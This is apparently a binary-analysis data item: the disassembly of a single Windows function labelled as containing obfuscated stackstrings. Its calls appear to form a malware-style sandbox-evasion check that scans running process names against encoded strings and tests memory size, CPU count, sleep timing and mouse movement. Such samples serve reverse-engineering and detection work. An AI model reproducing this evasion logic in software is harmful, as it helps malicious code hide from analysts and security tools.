Function at 0x1400030e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x220]
sub rsp, 0x320
mov rax, qword [section..data]
xor r15d, r15d
mov r12d, 0x170
test rax, rax
jne 0x140003135
mov ecx, r12d
call fcn.1400010c8
test rax, rax
je 0x14000312b
mov rcx, rax
call fcn.140001440
jmp 0x14000312e
mov rax, r15
mov qword [section..data], rax
call qword [rax + 0xa0]
test eax, eax
jne 0x140003833
mov rax, qword [section..data]
test rax, rax
jne 0x140003170
mov rcx, r12
call fcn.1400010c8
test rax, rax
je 0x140003166
mov rcx, rax
call fcn.140001440
jmp 0x140003169
mov rax, r15
mov qword [section..data], rax
mov rax, qword [rax + 0x40]
xor edx, edx
lea ecx, [rdx + 2]
call rax
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14000382f
mov rax, qword [section..data]
mov r14d, r15d
mov dword [rbp - 0x20], 0x238
mov esi, r15d
test rax, rax
jne 0x1400031c2
mov rcx, r12
call fcn.1400010c8
test rax, rax
je 0x1400031b8
mov rcx, rax
call fcn.140001440
jmp 0x1400031bb
mov rax, r15
mov qword [section..data], rax
mov rax, qword [rax + 0xb8]
jmp 0x1400035dd
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], 0xfff9ffc9
mov dword [rsp + 0x24], 0xffbd0070
mov dword [rsp + 0x28], 0x60ffa5
mov dword [rsp + 0x2c], 0x1f000d
mov dword [rsp + 0x30], 0x3c0070
mov dword [rsp + 0x34], 0x610033
mov dword [rsp + 0x38], 0xac0015
mov dword [rsp + 0x3c], 0x81
mov dword [rsp + 0x40], 0xca00d1
mov dword [rsp + 0x44], 0x680012
mov dword [rsp + 0x48], 0x5e006d
mov dword [rsp + 0x4c], 0x4b0059
mov dword [rsp + 0x50], 0x150004
mov dword [rsp + 0x54], 0xc6ce3341
call fcn.1400042bc
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0xc]
call fcn.140002280
test al, al
je 0x14000325d
inc r14d
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], 0xfff8ffdc
mov dword [rsp + 0x24], 0xffb90074
mov dword [rsp + 0x28], 0x7cffa5
mov dword [rsp + 0x2c], 0x80046
mov dword [rsp + 0x30], 0x3c0026
mov dword [rsp + 0x34], 0xac004b
mov dword [rsp + 0x38], 0x81
mov dword [rsp + 0x3c], 0xca00d1
mov dword [rsp + 0x40], 0x680012
mov dword [rsp + 0x44], 0x5e006d
mov dword [rsp + 0x48], 0x4b0059
mov dword [rsp + 0x4c], 0x903be04b
call fcn.140004298
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0xc]
call fcn.140002280
lea rcx, [rsp + 0x20]
movzx ebx, al
mov dword [rsp + 0x20], 0xffe0ffd8
mov dword [rsp + 0x24], 0xffba0073
mov dword [rsp + 0x28], 0x75ffa7
mov dword [rsp + 0x2c], 0x43001a
mov dword [rsp + 0x30], 0x21003b
mov dword [rsp + 0x34], 0x4002e
mov dword [rsp + 0x38], 0x8100ac
mov dword [rsp + 0x3c], 0xd10000
mov dword [rsp + 0x40], 0x1200ca
mov dword [rsp + 0x44], 0x6d0068
mov dword [rsp + 0x48], 0x59005e
mov dword [rsp + 0x4c], 0x4004b
mov dword [rsp + 0x50], 0x2cd78a28
call fcn.140004274
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0xc]
call fcn.140002280
movzx eax, al
lea rcx, [rsp + 0x20]
or ebx, eax
mov dword [rsp + 0x20], 0xfff3ffdc
mov dword [rsp + 0x24], 0xffb2006f
mov dword [rsp + 0x28], 0x7dffa7
mov dword [rsp + 0x2c], 0x430006
mov dword [rsp + 0x30], 0x21003b
mov dword [rsp + 0x34], 0x4002e
mov dword [rsp + 0x38], 0x8100ac
mov dword [rsp + 0x3c], 0xd10000
mov dword [rsp + 0x40], 0x1200ca
mov dword [rsp + 0x44], 0x6d0068
mov dword [rsp + 0x48], 0x59005e
mov dword [rsp + 0x4c], 0x4004b
mov dword [rsp + 0x50], 0x2cd78a28
call fcn.140004274
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0xc]
call fcn.140002280
movzx eax, al
lea rcx, [rsp + 0x20]
or ebx, eax
mov dword [rsp + 0x20], 0xffe4ffde
mov dword [rsp + 0x24], 0xffbc0073
mov dword [rsp + 0x28], 0x7cffa5
mov dword [rsp + 0x2c], 0x80046
mov dword [rsp + 0x30], 0x3c0026
mov dword [rsp + 0x34], 0xac004b
mov dword [rsp + 0x38], 0x81
mov dword [rsp + 0x3c], 0xca00d1
mov dword [rsp + 0x40], 0x680012
mov dword [rsp + 0x44], 0x5e006d
mov dword [rsp + 0x48], 0x4b0059
mov dword [rsp + 0x4c], 0x903be04b
call fcn.140004298
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0xc]
call fcn.140002280
movzx eax, al
or ebx, eax
mov dword [rsp + 0x20], 0xfff7ffc9
mov dword [rsp + 0x24], 0xffbf0065
mov dword [rsp + 0x28], 0x64ffbe
mov dword [rsp + 0x2c], 0x1f001f
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x30], 0x3c0070
mov dword [rsp + 0x34], 0x610033
mov dword [rsp + 0x38], 0xac0015
mov dword [rsp + 0x3c], 0x81
mov dword [rsp + 0x40], 0xca00d1
mov dword [rsp + 0x44], 0x680012
mov dword [rsp + 0x48], 0x5e006d
mov dword [rsp + 0x4c], 0x4b0059
mov dword [rsp + 0x50], 0x150004
mov dword [rsp + 0x54], 0xc6ce3341
call fcn.1400042bc
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0xc]
call fcn.140002280
movzx eax, al
lea rcx, [rsp + 0x20]
or ebx, eax
mov dword [rsp + 0x20], 0xfff3ffdc
mov dword [rsp + 0x24], 0xffb2006f
mov dword [rsp + 0x28], 0x61ffaf
mov dword [rsp + 0x2c], 0x5001b
mov dword [rsp + 0x30], 0x3a003f
mov dword [rsp + 0x34], 0x610020
mov dword [rsp + 0x38], 0xffe30067
mov dword [rsp + 0x3c], 0x22ffe5
mov dword [rsp + 0x40], 0x6affe5
mov dword [rsp + 0x44], 0x8100ac
mov dword [rsp + 0x48], 0xd10000
mov dword [rsp + 0x4c], 0x1200ca
mov dword [rsp + 0x50], 0x6d0068
mov dword [rsp + 0x54], 0x59005e
mov dword [rsp + 0x58], 0x4004b
mov dword [rsp + 0x5c], 0xcd0015
mov dword [rsp + 0x60], 0x5a0080
mov dword [rsp + 0x64], 0x6a0080
mov dword [rsp + 0x68], 0x52181572
call fcn.140004250
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0xc]
call fcn.140002280
movzx eax, al
lea ecx, [rsi + 1]
or eax, ebx
mov rax, qword [section..data]
cmove ecx, esi
mov esi, ecx
test rax, rax
jne 0x1400035d6
mov rcx, r12
call fcn.1400010c8
test rax, rax
je 0x1400035cc
mov rcx, rax
call fcn.140001440
jmp 0x1400035cf
mov rax, r15
mov qword [section..data], rax
mov rax, qword [rax + 0xc0]
lea rdx, [rbp - 0x20]
mov rcx, rdi
call rax
test eax, eax
jne 0x1400031ce
mov rax, qword [section..data]
test rax, rax
jne 0x14000361b
mov rcx, r12
call fcn.1400010c8
test rax, rax
je 0x140003611
mov rcx, rax
call fcn.140001440
jmp 0x140003614
mov rax, r15
mov qword [section..data], rax
mov rcx, rdi
call qword [rax + 0x28]
cmp r14d, 1
jg 0x14000382f
test esi, esi
jg 0x140003833
mov rax, qword [section..data]
mov dword [rsp + 0x70], 0x40
test rax, rax
jne 0x140003668
mov rcx, r12
call fcn.1400010c8
test rax, rax
je 0x14000365e
mov rcx, rax
call fcn.140001440
jmp 0x140003661
mov rax, r15
mov qword [section..data], rax
lea rcx, [rsp + 0x70]
call qword [rax + 0x80]
mov eax, 0x80000000
cmp qword [rsp + 0x78], rax
jb 0x140003833
mov rax, qword [section..data]
test rax, rax
jne 0x1400036b0
mov rcx, r12
call fcn.1400010c8
test rax, rax
je 0x1400036a6
mov rcx, rax
call fcn.140001440
jmp 0x1400036a9
mov rax, r15
mov qword [section..data], rax
call qword [rax + 0x78]
mov rbx, rax
mov rax, qword [section..data]
test rax, rax
jne 0x1400036e3
mov rcx, r12
call fcn.1400010c8
test rax, rax
je 0x1400036d9
mov rcx, rax
call fcn.140001440
jmp 0x1400036dc
mov rax, r15
mov qword [section..data], rax
mov edi, 0x3e8
mov ecx, edi
call qword [rax + pe_nt_image_headers64]
mov rax, qword [section..data]
test rax, rax
jne 0x14000371d
mov rcx, r12
call fcn.1400010c8
test rax, rax
je 0x140003713
mov rcx, rax
call fcn.140001440
jmp 0x140003716
mov rax, r15
mov qword [section..data], rax
call qword [rax + 0x78]
sub rax, rbx
cmp rax, rdi
jb 0x140003833
mov rax, qword [section..data]
test rax, rax
jne 0x140003759
mov rcx, r12
call fcn.1400010c8
test rax, rax
je 0x14000374f
mov rcx, rax
call fcn.140001440
jmp 0x140003752
mov rax, r15
mov qword [section..data], rax
lea rcx, [rbp - 0x50]
call qword [rax + 0x70]
cmp dword [rbp - 0x30], 2
jb 0x140003833
mov rax, qword [section..data]
test rax, rax
jne 0x140003797
mov rcx, r12
call fcn.1400010c8
test rax, rax
je 0x14000378d
mov rcx, rax
call fcn.140001440
jmp 0x140003790
mov rax, r15
mov qword [section..data], rax
lea rcx, [rbp + 0x268]
call qword [rax + 0x168]
mov rax, qword [section..data]
test rax, rax
jne 0x1400037d1
mov rcx, r12
call fcn.1400010c8
test rax, rax
je 0x1400037c7
mov rcx, rax
call fcn.140001440
jmp 0x1400037ca
mov rax, r15
mov qword [section..data], rax
mov ecx, edi
call qword [rax + pe_nt_image_headers64]
mov rax, qword [section..data]
test rax, rax
jne 0x140003806
mov rcx, r12
call fcn.1400010c8
test rax, rax
je 0x1400037fc
mov rcx, rax
call fcn.140001440
jmp 0x1400037ff
mov rax, r15
mov qword [section..data], rax
lea rcx, [rbp + 0x260]
call qword [rax + 0x168]
mov eax, dword [rbp + 0x260]
cmp dword [rbp + 0x268], eax
jne 0x14000382f
mov eax, dword [rbp + 0x264]
cmp dword [rbp + 0x26c], eax
je 0x140003833
xor eax, eax
jmp 0x140003838
mov eax, 1
mov rbx, qword [rsp + 0x370]
add rsp, 0x320
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret